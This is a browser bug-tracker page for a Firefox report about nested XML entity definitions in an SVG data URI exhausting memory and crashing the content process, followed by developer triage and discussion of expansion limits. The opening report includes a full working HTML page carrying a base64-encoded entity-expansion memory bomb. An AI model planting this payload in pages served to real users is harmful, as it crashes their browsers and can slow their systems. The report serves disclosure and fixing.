Open Bug 1192544 Opened 9 years ago Updated 2 years ago

Nested XML <!ENTITY> definitions in XML/SVG attributes can cause crash due to OOM

Categories

(Core :: DOM: HTML Parser, defect)

Product:
Core
Component:
DOM: HTML Parser
Type:
defect

Tracking

()

People

(Reporter: filippogasbarro, Unassigned)

References

(Depends on 1 open bug, Blocks 1 open bug)

Details

(4 keywords)

Attachments

(4 files)

Firefox in the task manager with only one tab opened with this exploit in Ubuntu
(deleted), image/png
Details
svg_from_b64.svg
(deleted), image/svg+xml
Details
testcase 1 (from comment 0) [WARNING: hangs & crashes your content process with OOM]
(deleted), text/html
Details
testcase 2 [WARNING: hangs & crashes your content process with OOM]
(deleted), application/xhtml+xml
Details
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 Steps to reproduce: I create a simple html page which contains the bugged "data:image" URI in <img> tag. Obviously it can be added to any web page, and the result is the same. <html> <head> <meta charset="utf-8" /> <title>Your browser just crashed</title> </head> <body> <img alt="exploit" src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFsKPCFFTlRJVFkgYm9tYjAgImJvbWIiPgo8IUVOVElUWSBib21iMSAiJmJvbWIwOyZib21iMDsmYm9tYjA7JmJvbWIwOyZib21iMDsmYm9tYjA7JmJvbWIwOyZib21iMDsmYm9tYjA7JmJvbWIwOyZib21iMDsiPgo8IUVOVElUWSBib21iMiAiJmJvbWIxOyZib21iMTsmYm9tYjE7JmJvbWIxOyZib21iMTsmYm9tYjE7JmJvbWIxOyZib21iMTsmYm9tYjE7JmJvbWIxOyZib21iMTsiPgo8IUVOVElUWSBib21iMyAiJmJvbWIyOyZib21iMjsmYm9tYjI7JmJvbWIyOyZib21iMjsmYm9tYjI7JmJvbWIyOyZib21iMjsmYm9tYjI7JmJvbWIyOyZib21iMjsiPgo8IUVOVElUWSBib21iNCAiJmJvbWIzOyZib21iMzsmYm9tYjM7JmJvbWIzOyZib21iMzsmYm9tYjM7JmJvbWIzOyZib21iMzsmYm9tYjM7JmJvbWIzOyZib21iMzsiPgo8IUVOVElUWSBib21iNSAiJmJvbWI0OyZib21iNDsmYm9tYjQ7JmJvbWI0OyZib21iNDsmYm9tYjQ7JmJvbWI0OyZib21iNDsmYm9tYjQ7JmJvbWI0OyZib21iNDsiPgo8IUVOVElUWSBib21iNiAiJmJvbWI1OyZib21iNTsmYm9tYjU7JmJvbWI1OyZib21iNTsmYm9tYjU7JmJvbWI1OyZib21iNTsmYm9tYjU7JmJvbWI1OyZib21iNTsiPgo8IUVOVElUWSBib21iNyAiJmJvbWI2OyZib21iNjsmYm9tYjY7JmJvbWI2OyZib21iNjsmYm9tYjY7JmJvbWI2OyZib21iNjsmYm9tYjY7JmJvbWI2OyZib21iNjsiPgo8IUVOVElUWSBib21iOCAiJmJvbWI3OyZib21iNzsmYm9tYjc7JmJvbWI3OyZib21iNzsmYm9tYjc7JmJvbWI3OyZib21iNzsmYm9tYjc7JmJvbWI3OyZib21iNzsiPgo8IUVOVElUWSBib21iOSAiJmJvbWI4OyZib21iODsmYm9tYjg7JmJvbWI4OyZib21iODsmYm9tYjg7JmJvbWI4OyZib21iODsmYm9tYjg7JmJvbWI4OyZib21iODsiPgo8IUVOVElUWSBib21iMTAgIiZib21iOTsmYm9tYjk7JmJvbWI5OyZib21iOTsmYm9tYjk7JmJvbWI5OyZib21iOTsmYm9tYjk7JmJvbWI5OyZib21iOTsmYm9tYjk7Ij4KXT4KPHN2ZyB3aWR0aD0iODg4Y20iIGhlaWdodD0iNzMzY20iIHZpZXdCb3g9IjAgMCAxNTYgNzU3IiB2ZXJzaW9uPSIxLjEiCnhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgo8ZGVzYz5Ob25lPC9kZXNjPgo8dGV4dCB4PSI5NDIiIHk9IjYxOCIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI1OTMiIHk9IjMzOSIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSIyMjUiIHk9IjY3MyIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI3NDkiIHk9IjIxMCIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSIyMDQiIHk9Ijk3OSIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSIxOTUiIHk9IjI0MyIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI5NTAiIHk9IjEyOSIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI0MTgiIHk9IjM2IiBkPSImYm9tYjEwOyI+Cjx0ZXh0IHg9Ijk1NSIgeT0iMjMiIGQ9IiZib21iMTA7Ij4KPHRleHQgeD0iODQ3IiB5PSI2ODgiIGQ9IiZib21iMTA7Ij4KPC90ZXh0Pgo8L3N2Zz4K"></img> </body> </html> Actual results: The web browser and the system could to crash if you have a little RAM memory because the browser write in RAM a lot of data and generate a lot of I/O with the HDD/SSD. This exploit could be very dangerous also for who has a lot of RAM if it is exploited well; for example with the automatic opening of other tab or pop-up with this html code. This exploit is more dangerous in GNU/linux because write in RAM about 2 GB of data instead on Windows about 400 MB. Expected results: The web browser could ignore this content inside the <img> html tag to prevent the crash of the web browser or the system
Severity: normal → major
Component: Untriaged → Security
Keywords: crash
This is just a memory bomb, not exploitable except to annoy someone. Daniel: is there any reasonably limits we could put on SVG to give up before we get to this point? or is it safer to just let the memory allocator fail-safe death happen?
Group: core-security
Status: UNCONFIRMED → NEW
Component: Security → SVG
Ever confirmed: true
Flags: needinfo?(dholbert)
Keywords: csectype-dos, testcase
Product: Firefox → Core
Attached image svg_from_b64.svg (deleted) —
(In reply to Daniel Veditz [:dveditz] from comment #1) > This is just a memory bomb, not exploitable except to annoy someone. > > Daniel: is there any reasonably limits we could put on SVG to give up before > we get to this point? or is it safer to just let the memory allocator > fail-safe death happen? So, there's no point in having any SVG-specific limits here, because there's nothing SVG-specific about this. The testcase is basically just a series of elements with extremely long attribute-values (using XML entities as a trick to get extremely long values without needing much markup). You can do the exact same thing with XHTML. [Testcase coming up.] To the extent that we want to avoid this with limits, we'd need to place a limit on the length of an attribute-value, and/or a limit on the length of the document. I can imagine semi-legitimate content running up against those limits, though -- e.g. suppose a site stores an uploaded file as a base64 data URI in an attribute somewhere, and a user uploads a largeish file. We could avoid breaking those edge cases by making the limit arbitrarily huge, but that prevents us from getting any wins here, too. So, I don't know that there's much we can do here. Reclassifying as an HTML Parser bug, since we're OOM'ing in parser code. Here's a crash report that I generated from original testcase (quoted in comment 0), to demonstrate that: bp-1adb3951-2b22-43f9-9a80-a9a972150811
Component: SVG → HTML: Parser
Flags: needinfo?(dholbert)
Version: unspecified → Trunk
One other solution here might be to avoid expanding XML entities (or nested XML entities) beyond a certain length. That would make it harder for attackers to construct such a small testcase that triggers an OOM via this route. I think this might be what Chrome does -- they immediately bails on rendering either testcase, and report an XML error for an "entity reference loop". Though there's not actually a "loop" -- they seem to report this error for any nested <!ENTITY> expansion that surpasses a certain length.
This is basically the same issue as bug 616361, I think. The crash is a different place -- in bug 616361, it looks like we crash in layout, when we try to deal with a huge amount of text (based on bug 616361 comment 1). In this bug here, we crash in parsing, due to huge attribute-values. But the underlying cause is the same - nested ENTITY values being huge.
Depends on: 616361
Summary: An <img> html tag could crash the web browser and the system → Nested XML <!ENTITY> definitions can cause crash/hang due to OOM
Summary: Nested XML <!ENTITY> definitions can cause crash/hang due to OOM → Nested XML <!ENTITY> definitions in XML/SVG attributes can cause crash due to OOM
Keywords: sec-other

Hi

The steps on this bug mention that in order to reproduce this bug a very slow old pc is needed with less than 2gb of ram, but i don´t have any machine that uses just 2gb of ram. Do you know if this issue can be resolved? the reporter has a deactivated account.

regards.

Flags: needinfo?(htsai)

(In reply to Pablo from comment #10)

Hi

The steps on this bug mention that in order to reproduce this bug a very slow old pc is needed with less than 2gb of ram, but i don´t have any machine that uses just 2gb of ram. Do you know if this issue can be resolved? the reporter has a deactivated account.

regards.

This is still reproducible when you open the test case attached in comment 6.

Flags: needinfo?(htsai)
Severity: major → S2

I can't actually reproduce the crash. I probably just have too much RAM. But even so, I don't think this is a major issue. It's just one of the many ways to produce an OOM. It would be nice to handle it better, but I don't think it's likely to come up in the real world by accident very often, if at all, and the only result is a content process crash (and possibly a slow system due to thrashing). But that's pretty easy to produce in any number of other ways too.

Severity: S2 → S3
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: